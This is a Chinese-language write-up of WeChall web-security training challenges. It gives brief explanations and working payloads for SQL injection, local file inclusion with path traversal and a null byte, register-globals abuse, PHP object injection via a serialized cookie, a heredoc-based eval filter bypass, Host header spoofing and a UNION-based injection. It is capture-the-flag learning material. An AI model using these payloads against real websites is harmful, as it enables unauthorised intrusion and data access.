WeChall Writeup
年轻人,要多撸题,多看书,少打游戏,少打炮..
0x00 No Escape
看源码, 是sql注入.
payload: index.php?vote_for=bill
=111%23`
0x01 Training: PHP LFI
看源码, 文件包含漏洞.
payload: index.php?file=../../solution.php%00
0x02 PHP 0817
这个比较傻..不多说.
payload: index.php?which=solution
##0x03 Training: Register Globals
全局变量的问题,,上次看到过,,不过现在的php已经没这漏洞了…(PHP还是那么老版本的活该..)
payload: globals.php?login[]=admin
0x04 Are you serial
这个有点屌…放代码吧..
1 |
|
这题的重点就在于 spl_autoload_register
这个函数.
解序列化后的如果有类, 而且当前程序中未定义该类, 则会自动把该类的名称传值到 (sql_autoload_register(xxx)
) xxx函数中.
这题只要能运行 SERIAL_Solution.php
这个文件就算成功
所以最后的payload是改cookie,serial_user
的值为 O:15:"SERIAL_Solution":0:{}
0x05 PHP 0819
第一次知道php还有这鬼东西….heredoc
1 | echo <<<suibian |
这题的目的 eval("\$spaceone='1337';");
但是引号都被过滤了…所以就可以用上面的那个代替引号…这里由于eval
的原因, 结尾还要再来一个换行
payload: index.php?eval=<<<r%0a1337%0ar;%0a
0x06 HOST me
这题一看就知道是去改host, 不过比较坑….改成 host:localhost
后会报错…纠结了好久..
网上查了以下才知道…需要….
payload:
1 | //只把要修改的行列出来 |
0x07 PHP 0815
这题有点屌…这题的大概意思是它给你的代码存在sqli, 然后让你给出修补的方案, 要给出最短, 还不会影响原程序的方案…
表示并不会, 只看出了应该是修改 in_array
这里..
到网上搜索后才知道, 需要把 $show
转换为int 型, 有 int()
和 intval()
然而答案要最短,
最短的黑魔法…. –> $show - 0
提交 in_array($show-0, $whitelist)
竟然不对…坑爹的…最后提交 -0
过了..
最后, 我在想,, 这脚本有sqli? 怎么日? ….然后试了一下…果然有…
1 | #code.php?show=1%20union%20select%201%23 |
WeChall Writeup